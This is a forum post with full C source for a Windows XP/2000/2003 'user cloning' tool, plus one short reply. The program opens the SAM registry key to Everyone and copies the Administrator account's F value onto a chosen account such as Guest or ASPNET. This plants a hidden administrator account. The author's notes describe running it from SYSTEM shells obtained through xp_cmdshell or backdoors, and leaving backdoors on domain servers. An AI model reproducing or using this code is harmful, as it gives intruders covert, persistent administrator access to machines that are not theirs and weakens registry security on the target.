飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 3148|回复: 1

支持XP/2k/2k3下完美进行任意用户克隆的C源码

[复制链接]
  • TA的每日心情
    开心
    2024-6-9 16:20
  • 签到天数: 24 天

    [LV.4]偶尔看看III

    发表于 2007-10-24 18:07:18 | 显示全部楼层 |阅读模式
    软件作者: pt007[at]vip.sina.com版权所有,转载请注明版权
    信息来源: I.S.T.O信息安全团队(http://blog.csdn.net/I_S_T_O)

    本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点
      SHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SERV提权/反弹CMDSHELL
    软件使用问题整理:
    引用第46楼kuba8于2007-04-25 20:16发表的  :
    我发现在国外有些机上不能执行,不知道为什么~
    1、这种情况很可能是SAM键值做了安全设置,比如只允许system完全控制,administrators组成员连读取权限都没有,解决方法是获得一个system权限的SHELL,比如用SQL的XP_CMDSHELL来运行这个命令,或者利用服务启动的后门一般都是system权限的,所以你可以找一个第三方的后门程序来执行这个程序。
    2、最近我在做一个渗透项目的时候发现,如果服务器为域服务器,也会出现clone5 -l列不出或列不全用户的情况,这种情况下建议大家不要使用任何的用户克隆类软件,否则把用户的机器搞出问题了就不好玩了,建议大家可以留个后门,解决方案等有时间再进行研究。
    3、2000下停用了账号依然可以正常使用,03下面必须启用,删除了克隆用户也没问题,总之和正常用户一样进行操作就可以了,克隆完之后要使用net user aspnet test来修改密码。
    4、克隆之后会启用该用户。
    5、测试克隆用户的方法:
    runas /user:aspnet cmd
    net share (能执行代表具有管理员权限)
    6、任意用户均可以克隆,建议大家的眼光不要局限克隆GUEST,多克隆其它的一些账号,比如ASPNET和tsinternetuser等。

    Code Language : C
    #include <windows.h>
    #include <string.h>
    #include <stdio.h>
    #include <aclapi.h>

    char name[50][30];
    int KeyN=0;
    LPTSTR lpObjectName;
    SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
    PACL OldDACL,NewDACL;
    PSECURITY_DESCRIPTOR SD;
    EXPLICIT_ACCESS ea;
    //OpenKey(),ViewUser(),ListUser()函数用到的变量

    //显示用户名对应的安全标识符:
    void OpenKey (char *key);
    int ViewUser (char *key);
    int ListUser (void);//列出用户名和类型值(用户SID)
    int Clone (char *C_sid);//克隆帐户
    void Usage (void);//帮助信息

    //设置注册表的存取权限:
    void new();
    void old();

    void main (int argc, char *argv[])
    {
    char C_Sid[10];
    int n;
    if(argc<2)
    {Usage();
    return;}

    //提升注册表SAM键的权限:
    new();

    //如何使用命令行参数的方法:
    for (n=1;n<argc;n++)
    {
    if (argv[n][0] == '-')
    {
    switch(argv[n][1])
    {
    case '?':
    case 'h':
    case 'H':Usage();
    break;

    case 'l':
    case 'L':ListUser();
          old();
    break;

    case 'c':
    case 'C':
    if(argc<3)
    {printf("Useage:%s -c 1F5\n",argv[0]);
    old();
    break;}
    strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组
    if (strlen(C_Sid)<=10)
    Clone(C_Sid);
    else
    printf("Error\n");
    //恢复注册表的权限:
    old();

          break;

    }
    }
    }
    }


    void OpenKey (char *key)
    {
    HKEY hkey;//注册表键值的句柄
    DWORD dwIndex=0,lpcbname=100,ret=0;
    char T_name[100],Buffer[100];
    FILETIME lpftlast;
    int i=0;
    //下面是字符数组清0:
    ZeroMemory(Buffer,100);
    ZeroMemory(T_name,100);
    ZeroMemory(name,1500);

    RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
    key, //传递一个参数,欲打开的注册表项
    0, //未用,设为0即可
    KEY_ALL_ACCESS, //描述新键值安全性的访问掩码
    //它们的组合描述了允许对这个项进行哪些操作
    &hkey);//装载上面打开项的句柄

    for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值
    {
    ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
    NULL,NULL,NULL,&lpftlast);
    //dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
    //T_name:用于装载指定索引处项名的一个缓冲区
    //&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
    //一旦返回,它会设为实际装载到lpName缓冲区的字符数量
    //NULL:未用,设为零
    //NULL:项使用的类名
    //NULL:用于装载lpClass缓冲区长度的一个变量
    //&lpftlast:FILETIME,枚举子项上一次修改的时间

    strcat(name,T_name);//将每个子键名加入到name数组中

    ZeroMemory(T_name,100);//清0
    lpcbname=100;
    }
    //printf("subkey=%s\n",name[0]);//administrator
    RegCloseKey(hkey); //关闭注册键

    //拼接用户名:
    for(KeyN=0;KeyN<i;KeyN++)
    {
    strcat(Buffer,name[KeyN]);
    strcat(Buffer,"\n\r");
    }
    }

    int ViewUser (char *key)
    {
    HKEY hkey;
    DWORD lpType=0,ret;
    char S_name[10];


    ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
    0,
    KEY_ALL_ACCESS,
    &hkey);

    if(ret==ERROR_SUCCESS)
          ;
    else
    return 0;

    RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
    //NULL:要获取值的名字
    //NULL:未用,设为零
    //&lpType:用于装载取回数据类型的一个变量
    //NULL:用于装载指定值的一个缓冲区
    //NULL:用于装载lpData缓冲区长度的一个变量

    wsprintf(S_name,"%X\n\r",lpType);
    printf("%s",S_name);

    return 1;
    }

    int ListUser (void)
    {
    int n;
    char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
    char Temp[40]={'\0'};

    OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");

    for(n=0;n<KeyN;n++)
    {
    strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
    wsprintf(Temp,name[n]);
    strcat(Temp,"===>");
    printf("%s",Temp);
    ViewUser(Buffer);
    strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
    }
    return 1;
    }

    int Clone(char *C_sid)
    {
    HKEY hkey,C_hkey;
    DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
    char CloneSid[100];
    LPBYTE lpDataF,lpDataV;
    //为注册表的F与V值分配空间:
    lpDataF = (LPBYTE) malloc(1024*2);
    lpDataV = (LPBYTE) malloc(1024*10);
    //清0:
    ZeroMemory(lpDataF,1024*2);
    ZeroMemory(lpDataV,1024*10);
    ZeroMemory(CloneSid,100);

    strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
    strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5

    ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    "SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子键
    0,
    KEY_ALL_ACCESS,
    &hkey);

    if(ret==ERROR_SUCCESS)
    ;
    else
    return 0;
    //读出F值然后存入lpDataF中:
    ret = RegQueryValueEx(hkey,"F",NULL,
    &Type,lpDataF,&SizeF);

    if(ret==ERROR_SUCCESS)
    ;
    else
    return 0;
    //读出v值然后存入lpDataV中:
    ret = RegQueryValueEx(hkey,"V",NULL,
    &Type,lpDataV,&SizeV);

    if(ret==ERROR_SUCCESS)
    ;
    else
    return 0;
    //下面是打开需克隆用户如guest的键值:
    ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
    0,
    KEY_ALL_ACCESS,
    &C_hkey);

    if(ret==ERROR_SUCCESS)
    ;
    else
    return 0;
    //将lpDataF中的值来替换需克隆用户的F值:
    ret= RegSetValueEx(C_hkey,"F",0,
    REG_BINARY,
    lpDataF,
    SizeF);
    //C_hkey:根键名或已打开项的句柄
    //“F”:要设置值的名字
    //0:未用,设为零
    //REG_BINARY:要设置的数量类型
    //lpDataF:包含数据的缓冲区中的第一个字节
    //SizeF:lpData缓冲区的长度

    if(ret==ERROR_SUCCESS)
    printf("Clone User Success\n");
    else
    {
    printf("Clone User FAIL\n");
    return 0;
    }
    //关闭已打开的注册表句柄:
    RegCloseKey(hkey);
    RegCloseKey(C_hkey);

    return 1;
    }

    void new()
    {//下面是设置SAM键的权限为everyone:
          lpObjectName = "MACHINE\\SAM\\SAM";

          ObjectType =SE_REGISTRY_KEY;

          //建立一个空的ACL;
          if (SetEntriesInAcl(0, NULL, NULL, &

          OldDACL)!=ERROR_SUCCESS)
                return;

          if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
                return;

          //获取现有的ACL列表到OldDACL:
          if(GetNamedSecurityInfo(lpObjectName, ObjectType,
                                           DACL_SECURITY_INFORMATION,
                                           NULL, NULL,
                                           &OldDACL,
                                           NULL, &SD) != ERROR_SUCCESS)
                   printf("指定的键不存在!\n");
    // 本文转自 C++Builder 研究 - http://www.ccrun.com/article.asp?i=563&d=tshoza
    //设置用户名"Everyone"对指定的键有所有操作权到结构ea:
          ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

          BuildExplicitAccessWithName(&ea,
                                                    "Everyone",         // name of trustee
                                                    KEY_ALL_ACCESS,       // type of access
                                                    SET_ACCESS,         // access mode
                                                    SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限

          
          //合并结构ea和OldDACL的权限列表到新的NewDACL:
          if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
                   goto Cleanup;

          //把新的ACL写入到指定的键:
          SetNamedSecurityInfo(lpObjectName, ObjectType,
                   DACL_SECURITY_INFORMATION,
                   NULL, NULL,
                   NewDACL,
                   NULL);
    //释放指针
          Cleanup:
          if(SD != NULL)
                   LocalFree((HLOCAL) SD);
          if(NewDACL != NULL)
                   LocalFree((HLOCAL) NewDACL);
          if(OldDACL != NULL)
                   LocalFree((HLOCAL) OldDACL);
    }

    void old()
    {
    //恢复注册表的权限:

          BuildExplicitAccessWithName(&ea,
                                                    "system",         // name of trustee
                                                    KEY_ALL_ACCESS,       // type of access
                                                    SET_ACCESS,         // access mode
                                                    SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限

          if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
              goto Cleanup;

          //把旧的ACL写入到指定的键:
          SetNamedSecurityInfo(lpObjectName, ObjectType,
                   DACL_SECURITY_INFORMATION,
                   NULL, NULL,
                   OldDACL,
                   NULL);
          //释放指针
          Cleanup:
          if(SD != NULL)
                   LocalFree((HLOCAL) SD);
          if(NewDACL != NULL)
                   LocalFree((HLOCAL) NewDACL);
          if(OldDACL != NULL)
                   LocalFree((HLOCAL) OldDACL);

    }


    //输出帮助的典型方法:
    void Usage (void)
    {
    fprintf(stderr,"===============================================================================\n"
    "\t名称:2003与2000下克隆任意用户程序\n"
    "\t环境:Win2003 + Visual C++ 6.0\n"
    "\t作者:[email protected]\n"
    "\tQQ:7491805\n"
    "\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"
    "\n"
    "\t使用方法:\n"
    "\t\"-H\":帮助信息\n"
    "\t\"-L\":列出系统中用户对应的SID\n"
    "\t\"-C 1F5\":克隆帐户,输入SID即可\n"
    "\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
    "\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
    "\n"
    "\t注意事项:\n"
    "\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n"
    "\t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆\n"
    "===============================================================================\n");
    }
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2007-10-24 23:01:09 | 显示全部楼层
    板式很难看,  内容就不错
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表